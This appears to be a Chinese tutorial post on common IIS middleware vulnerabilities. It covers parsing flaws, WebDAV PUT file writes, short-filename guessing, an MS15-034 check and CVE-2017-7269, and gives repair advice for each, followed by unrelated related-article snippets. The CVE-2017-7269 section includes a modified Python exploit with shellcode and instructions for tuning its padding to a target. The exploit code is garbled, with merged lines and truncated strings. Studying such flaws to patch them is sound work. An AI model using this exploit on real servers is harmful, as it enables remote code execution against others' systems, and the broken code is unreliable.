Web中间件常见漏洞总结

news2024/11/20 8:31:46

IIS

IIS是Internet Information Services的缩写，意为互联网信息服务，是由微软公司提供的基于运行MicrosoftWindows的互联网基本服务。

IIS目前只适用于Windows系统，不适用于其他操作系统。

解析漏洞

IIS 6.x

基于文件名
该版本默认会将*.asp;.jpg此种格式的文件名，当成Asp解析，原理是服务器默认不解析;号及其后面的内容，相当于截断。
image.png
基于文件夹名
该版本 默认会将 *.asp/目录下的所有文件当成Asp解析。
image.png
另外，IIS6.x除了会将扩展名为.asp的文件解析为asp之外，还默认会将扩展名为.asa，.cdx，.cer解析为asp，

从网站属性->主目录->配置 可以看出，他们都是调用了asp.dll进行的解析。
image.png

修复建议

由于微软并不认为这是一个漏洞，也没有推出IIS 6.0的补丁，因此漏洞需要自己修复。

【一一帮助安全学习一一】
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部教程

1.限制上传目录执行权限，不允许执行脚本。
image.png
2.不允许新建目录。

3.上传的文件需经过重命名(时间戳+随机数+.jpg等)

IIS 7.x

安装IIS7.5
1.控制面板 -> 程序 -> 打开或关闭windows功能。
image.png

  1. 下载php-5.2.6-win32-installer.msi

  2. 打开msi，一直下一步来到选择web serversetup的界面，在这里选择IISfastcgi,之后一直下一步。 4.打开IIS，管理工具 ->Internet 信息服务(IIS)管理器

  3. 选择编辑ISAPI或者CGI限制
    image.png
    添加安装的php-cgi.exe路径，描述随意。
    image.png
    6.返回第五步的第一个图片位置，点击处理程序映射，添加如下。
    image.png
    7.phpinfo测试
    image.png
    IIS7.x版本 在Fast-CGI运行模式下,在任意文件，例：test.jpg后面加上/.php，会将test.jpg 解析为php文件。
    image.png
    修复建议
    配置cgi.fix_pathinfo(php.ini中)为0并重启php-cgi程序
    image.png
    结果如下：
    image.png

PUT任意文件写入

IIS Server 在 Web 服务扩展中开启了 WebDAV之后，支持多种请求，配合写入权限，可造成任意文件写入。
image.png
image.png

修复建议

关闭WebDAV 和 写权限

IIS****短文件漏洞
Windows 以 8.3 格式生成与 MS-DOS 兼容的（短）文件名，以允许基于 MS-DOS 或 16 位 Windows的程序访问这些文件。在cmd下输入"dir /x"即可看到短文件名的效果。
image.png
IIS短文件名产生：

  1. 当后缀小于4时，短文件名产生需要文件(夹)名前缀字符长度大于等于9位。
  2. 当后缀大于等于4时，文件名前缀字符长度即使为1，也会产生短文件名。

目前IIS支持短文件名猜测的HTTP方法主要包括：DEBUG、OPTIONS、GET、POST、HEAD、TRACE六种。

IIS 8.0之后的版本只能通过OPTIONS和TRACE方法被猜测成功。复现：

IIS8.0以下版本需要开启ASP.NET支持，IIS大于等于8.0版本,即使没有安装ASP.NET，通过OPTIONS和TRACE方法也可以猜解成功。 以下通过开启IIS6.0 ASP.NET后进行复现。
image.png
当访问构造的某个存在的短文件名，会返回404；
image.png
当访问构造的某个不存在的短文件名，会返回400；
image.png

IIS短文件漏洞局限性

1)如果文件名本身太短也是无法猜解的；

2)此漏洞只能确定前6个字符，如果后面的字符太长、包含特殊字符，很难猜解；
3)如果文件名前6位带空格，8.3格式的短文件名会补进，和真实文件名不匹配；
4)如果文件夹名前6位字符带点"."，扫描程序会认为是文件而不是文件夹，最终出现误报；
5)不支持中文文件名，包括中文文件和中文文件夹。一个中文相当于两个英文字符，故超过4个中文字会产生短文件名，但是IIS不支持中文猜测。
image.png
image.png
短文件利用工具下载

修复建议

1）从CMD命令关闭NTFS 8.3文件格式的支持Windows Server 2003： (1代表关闭，0代表开启）
image.png
Windows Server 2008 R2：

查询是否开启短文件名功能：fsutil 8dot3name query

关闭该功能：fsutil 8dot3name set 1

不同系统关闭命令稍有区别，该功能默认是开启的. 2）或从修改注册表关闭NTFS 8.3文件格式的支持

快捷键Win+R打开命令窗口，输入regedit打开注册表窗口

找到路径：
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem，将其中的 NtfsDisable8dot3NameCreation这一项的值设为 1，1代表不创建短文件名格式
image.png
以上两种方式修改完成后，均需要重启系统生效。

Note:此方法只能禁止NTFS8.3格式文件名创建,已经存在的文件的短文件名无法移除，需要重新复制才会消失。 例:将web文件夹的内容拷贝到另一个位置，如c:\www到c:\ww,然后删除原文件夹，再重命名c:\ww到c:\www。

HTTP.SYS远程代码执行 (MS15-034)

影响范围：
Windows 7、Windows Server 2008 R2、Windows 8、Windows Server 2012、Windows 8.1 和 Windows Server 2012 R2
复现：

在Windows7上 安装IIS7.5。
1.访问。
image.png
编辑请求头，增加Range: bytes=0-18446744073709551615 字段，若返回码状态为416 Requested Range Not Satisfiable，则存在HTTP.SYS远程代码执行漏洞
image.png
漏洞有点鸡肋，配合其他漏洞使用还是可以用用的，具体使用可转至MSF中。

修复建议

安装修复补丁（KB3042553）

RCE-CVE-2017-7269

Microsoft Windows Server 2003 R2中的Internet信息服务（IIS）6.0中的WebDAV服务中的ScStoragePathFromUrl函数中的缓冲区溢出允许远程攻击者通过以"If：<http：//"开头的长标头执行任意代码PROPFIND请求。
影响范围：
在Windows 2003 R2（Microsoft® Windows® Server 2003, Enterprise Edition Service Pack 2）上使用IIS 6.0并开启WebDAV扩展。
复现：

CVE给出的exp 计算机弹弹弹！！！ 用python2 运行，结果如下。
image.png
任务管理器开启了calc.exe进程，因为计算器是网络服务权限打开的，所以我们在桌面上看不见。 这个漏洞有几个需要注意的地方，如下。

由于作者提供的Exp执行之后就卡在那里了，因此不适合用弹计算机的shellcode进行测试，网上找了个dalao的回显shellcode来测试。首先将上图中python2 IDE运行时产生的Raw类型的HTTP数据包copy保存至记事本中，然后在Burp Repeater模块 Paste from file。将shellcode更换成如下：

VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBRDDK

结果：
image.png
CVE作者给出的Exp是在默认端口，默认域名，默认路径的情况下适用。 第一个需要注意的是端口和域名绑定问题：
当端口改变时，If头信息中的两个url端口要与站点端口一致，如下。
image.png
当域名改变时，If头信息中的两个url域名要与站点域名一致，且HOST头也要与站点域名一致。如下
image.png
不修改Host将返回502,如下
image.png
Note:
测试的时候凡是需要修改IIS配置的操作，修改完毕后都需要重启IIS，或者在不超过禁用阈值的前提下结束w3wp进程。

第二个需要注意的是物理路径问题：

CVE作者提供的Exp是在 默认路径长度等于19(包括结尾的反斜杠)的情况下适用，IIS默认路径一般为：c:\inetpub\wwwroot

解决方法：
当路径长度小于19时需要对padding进行添加。当路径长度大于19时需要对padding进行删除。

ROP和stackpivot前面的padding实际上为UTF8编码的字符，每三个字节解码后变为两个字节的UTF16字符，在保证Exp不出错的情况下，有0x58个字符是没用的。所以可以将前0x108个字节删除，换成0x58个a或b。

原exp 修改后如下：

#  coding:utf-8 import  socket
sock  =  socket.socket(socket.AF_INET,  socket.SOCK_STREAM) sock.connect(('192.168.124.129',8888))
pay='PROPFIND  /  HTTP/1.1\r\nHost:  www.lxhsec.com\r\nContent-Length:  0\r\n' pay+='If:  <http://www.lxhsec.com:8888/aaaaaaa'
pay+='aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' pay+='\xe6\xa9\xb7\xe4\x85\x84\xe3\x8c\xb4\xe6\x91\xb6\xe4\xb5\x86\xe5\x99\x94\xe4\x9d\xac\xe6\x95\x83\xe7\x98\xb2\xe7\x89\xb8\xe5\x9d\ pay+='>'
pay+='  (Not  <locktoken:write1>)  <http://www.lxhsec.com:8888/bbbbbbb' pay+='bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb' pay+='\xe5\xa9\x96\xe6\x89\x81\xe6\xb9\xb2\xe6\x98\xb1\xe5\xa5\x99\xe5\x90\xb3\xe3\x85\x82\xe5\xa1\xa5\xe5\xa5\x81\xe7\x85\x90\xe3\x80\ shellcode='VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30A
pay+=shellcode pay+='>\r\n\r\n' print  pay sock.send(pay)
data  =  sock.recv(80960) print  data
sock.close

执行：
image.png
当路径长度小于19时，如下，需要增加12个a，b
image.png
image.png
而实际中路径常常大于19，需要对padding进行删除。

当路径为c:\www\ 的时候，a有107个，加起来有114个，除去盘符有111个字符，所以可以把Exp的padding增加至111，并逐次进行减少。当长度不匹配时返回500，成功时返回200，通过爆破方式得到物理路径长度。

成功:
image.png
失败:
image.png
当然如果能得到物理路径，则用114减去物理路径长度（包括末尾的反斜杠）就是所需的padding长度。
第三个需要注意的是，超时问题。
当exp执行成功一段时间之后（大概十分钟到二十分钟左右，其间无论有无访问），再对这个站点执行exp永远不会成功，同时返回400。
解决方法：

  1. 等待w3wp重启。

  2. 测试旁站（因为每个池都是独立的w3wp进程，换一个可能在其他池的旁站进行尝试） 第四个需要注意的是，多次执行错误shellcode

多次执行错误的shellcode会覆盖很多不该覆盖的代码，从而导致正确的shellcode执行时也返回500， 提示信息为：参数不正确，也可能什么都不返回。
image.png
解决方法：
1.等待w3wp重启。
2.测试旁站（因为每个池都是独立的w3wp进程，换一个可能在其他池的旁站进行尝试）

修复建议

关闭 WebDAV

总结

Web中间件常见漏洞还远不止这些，等以后空闲再补录。

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/10857.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

基于源码搭建运行 RocketMQ 主从架构

基于源码搭建运行 RocketMQ 主从架构

前言 上一篇 基于 IDEA 搭建 RocketMQ-4.6 源码环境 我们搭建并跑通了 rocketmq 的源码环境 . 本文我们紧接上文, 继续基于源码搭建并运行 broker 主从架构. 1 个 NameServer 节点 (与前文一样)2 个 Broker 节点, 一个作为 Master, 一个作为 Slave1 个 Producer 生产者 (与前…
阅读更多...
元强化学习 论文理解 MAESN

元强化学习 论文理解 MAESN

论文理解 MAESN主要思想具体实现元学习框架带有隐层状态的策略元学习更新小结主要思想 这篇文章主要关注于如何加强对于新任务的探索性。 动机&#xff1a; 以往探索策略在很大程度上是任务无关的&#xff0c;因为它们旨在提供良好的探索&#xff0c;而不利用任务本身的特定结…
阅读更多...
MySQL 经验集总结(更新ing)

MySQL 经验集总结(更新ing)

文章目录1. 函数使用方法1.1 时间差函数-timestampdiff()1.2 datediff()函数1.3 date_format()函数-日期格式化1.4 substring()函数-截取字符串1.4.1 两个参数1.4.2 三个参数1. 函数使用方法 1.1 时间差函数-timestampdiff() 语法&#xff1a; timestampdiff&#xff08;unit…
阅读更多...
一种能把前端恶意代码关在“笼子”里的技术方案

一种能把前端恶意代码关在“笼子”里的技术方案

日新月异的新一代信息化技术使企业信息技术都发生了翻天覆地的变化&#xff0c;推动企业App迈向了“智慧化”“数字化”。 在企业应用数字化转型的推动过程中&#xff0c;数据集中共享、IT&#xff08;信息技术&#xff09;/0T&#xff08;操作技术&#xff09;融合、物联网终…
阅读更多...
RDD调用机制、数据流在RDD中的流通

RDD调用机制、数据流在RDD中的流通

问题 一直很疑惑spark中数据的流向是如何的&#xff0c;网上的文章基本上都是在讲述RDD的基本概念&#xff0c;看来看去都是些RDD直接相互依赖、Spark构造DAG、RDD计算只能由行动算子触发等一些基础概念&#xff0c;没有解开我的疑惑&#xff0c;因此自己点击源码查看&#xf…
阅读更多...
《InnoDB引擎》 Master Thread、IO Thread、Purge Thread

《InnoDB引擎》 Master Thread、IO Thread、Purge Thread

后台线程 后台线程的主要作用是负责刷新内存池中的数据&#xff0c;保证缓冲池中的内存缓存的是最近的数据。此外将已修改的数据文件刷新到磁盘文件&#xff0c;同时保证在数据库发生异常的情况下InnoDB能恢复到正常运行的状态。 InnoDB存储引擎是多线程的模型&#xff0c;因此…
阅读更多...
用键盘传输小数据，破除解决多层远程访问或防火墙限制不能粘贴复制的问题

用键盘传输小数据，破除解决多层远程访问或防火墙限制不能粘贴复制的问题

经常在项目上遇到这样的问题&#xff0c;由于vpn或者防火墙限制远程连接到服务器时不能进行粘贴复制文本。本机改好的代码还需要在远程机上在敲一遍&#xff0c;并且不能传输文件&#xff0c;每次传输东西都要找管理员给传输文件很麻烦&#xff0c;所以想到了这样一个又蠢又灵活…
阅读更多...
ME60单板加载故障维护经验

ME60单板加载故障维护经验

ME60单板加载故障维护经验 加载是设备管理中重要的模块。它完成系统软件和逻辑软件从主控板的 CFcard下载到接口板或者交换网板的存储区域。接口板或者交换网板的存储区域有以下三种&#xff1a; 1 单板 CFcard存储区域 2 单板 bootrom存储区域 3 单板逻辑芯片内部存储区…
阅读更多...
数字先锋 | 教育资源乘云而来！46万城乡学子共享名师课堂

数字先锋 | 教育资源乘云而来！46万城乡学子共享名师课堂

城乡学生同上“一堂课”&#xff0c;是一种怎样的体验&#xff1f;在淄博市张店区重庆路小学的教室里&#xff0c;正在进行着这样一节特殊的数学课。 数学老师演示着手里的教具&#xff0c;将抽象的教材讲解得生动精彩&#xff0c;班级内的同学听得聚精会神。黑板上方的一块屏幕…
阅读更多...
聚水潭对接金蝶云星空数据方案

聚水潭对接金蝶云星空数据方案

01 系统说明&#xff1a; 聚水潭&#xff1a;是由上海聚水潭网络科技有限公司基于SaaS模式开发的商家ERP软件系统&#xff0c;公司创始团队聚集了一群来自阿里、麦包包等知名企业的技术、仓管、市场营销精英&#xff0c;具有近二十年传统及电商企业的ERP实践经验。秉承互联网开…
阅读更多...
软件开发 23个设计模式收集

软件开发 23个设计模式收集

从基础的角度看&#xff0c;设计模式是研究类本身或者类与类之间的协作模式&#xff0c;是进行抽象归纳的一个很好的速成思路。后面阅读设计模式后&#xff0c;为了加深理解&#xff0c;对相关图片进行了描绘和微调。 从技术的角度已经有很多好的总结&#xff0c;本文会换一种角…
阅读更多...
基于docker部署redis多主多从集群

基于docker部署redis多主多从集群

在docker中部署redis多主多从集群&#xff0c;准备部署三对一主一从服务&#xff0c;共6个 首先获取镜像 这里使用的是6.0.8版本 docker pull redis:6.0.8 启动六个容器 docker run -d --name redis-node1 --net host --privilegedtrue -v /usr/local/redis/node1:/data red…
阅读更多...
Vue实现点击按钮或者图标可编辑输入框

Vue实现点击按钮或者图标可编辑输入框

博主介绍 &#x1f4e2;点击下列内容可跳转对应的界面&#xff0c;查看更多精彩内容&#xff01; &#x1f34e;主页&#xff1a;水香木鱼 &#x1f34d;专栏&#xff1a;后台管理系统 文章目录 简介&#xff1a;这是一篇有关【Vue - 实现点击按钮&#xff08;笔图标&#xff…
阅读更多...
VS五子棋大战

VS五子棋大战

本项目里面只是浅述了一下基本实现步骤&#xff0c;很多细节的地方都在注释中标注了&#xff0c;如需完整代码请去博主码云哦。zqy (zhang-qinyang1) - Gitee.com 目录 一、用到的关键技术点 二、主要模块 1.使用mybatis操作连接数据库 1.1修改spring配置文件 1.2创建实体…
阅读更多...
json.converter

json.converter

爬虫组件分析目录概述需求&#xff1a;设计思路实现思路分析1.ActivityProcessor2.AssociationJsonConverter3.BaseBpmnJsonConverter4.BoundaryEventJsonConverter5.BpmnJsonConverter拓展实现参考资料和推荐阅读Survive by day and develop by night. talk for import biz , …
阅读更多...
【出人意料】一种基于Vue2监听器（watch）和定时器（setInterval）的轨迹播放方法实现方案

【出人意料】一种基于Vue2监听器（watch）和定时器（setInterval）的轨迹播放方法实现方案

1、需求 数据库中有设备的经纬度记录&#xff0c;前端需要实现从数据库中取到数据后在地图上显示轨迹&#xff0c;显示轨迹的方式就是一个一个点地有序显示。点与点之间用线段连接&#xff0c;最终构成一条轨迹线。 2、场景过程 前端定义一个播放暂停按钮&#xff1b;点击播…
阅读更多...
【Flutter】【package】auto_size_text 文字自动适配大小

【Flutter】【package】auto_size_text 文字自动适配大小

文章目录前言一、auto_size_text 是什么&#xff1f;二、使用1.简单的使用2.参数说明3.group4.rich text总结前言 auto_size_text &#xff1a;https://pub.flutter-io.cn/packages/auto_size_text 一、auto_size_text 是什么&#xff1f; 第三方的插件&#xff0c;能够自动适…
阅读更多...
DDD的落地，需要基础设施的大力支持

DDD的落地，需要基础设施的大力支持

1. 概览 对于复杂业务&#xff0c;DDD 绝对是一把神器&#xff0c;由于它过于复杂&#xff0c;很多人望而却步。因为太过严谨&#xff0c;形成了很多设计模式、规范化流程&#xff0c;这些爆炸的信息已经成为 DDD 落地的重大阻力。 但&#xff0c;如果我们将这些规范化的流程…
阅读更多...
1.4_28 Axure RP 9 for mac 高保真原型图 - 案例27【中继器 - 后台管理系统5】功能-弹窗修改数据

1.4_28 Axure RP 9 for mac 高保真原型图 - 案例27【中继器 - 后台管理系统5】功能-弹窗修改数据

相关链接 目录Axure中文学习网AxureShopAxureShop-QA 案例目标1. 了解使用中继器&#xff0c;弹窗修改数据的实现方式 一、成品效果 Axure Cloud 案例27【中继器 - 后台管理系统5】功能-弹窗修改数据 版本更新一、修改功能   1.1 点击修改按钮&#xff0c;标记该条数据&am…
阅读更多...
国产软件Bigemap与国产在线地图源＜星图地球数据云＞推动国内新GIS应用

国产软件Bigemap与国产在线地图源＜星图地球数据云＞推动国内新GIS应用

自星图地球数据云(GEOVIS Earth Datacloud)图源成为国产基础软件Bigemap的在线地图数据服务平台之一以来&#xff0c;其日均地图瓦片请求调用量目前已经超过2亿。 “星图地球数据云"是中科星图(股票代码[688568])旗下子公司——星图地球倾力打造的在线时空数据云服务平台…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023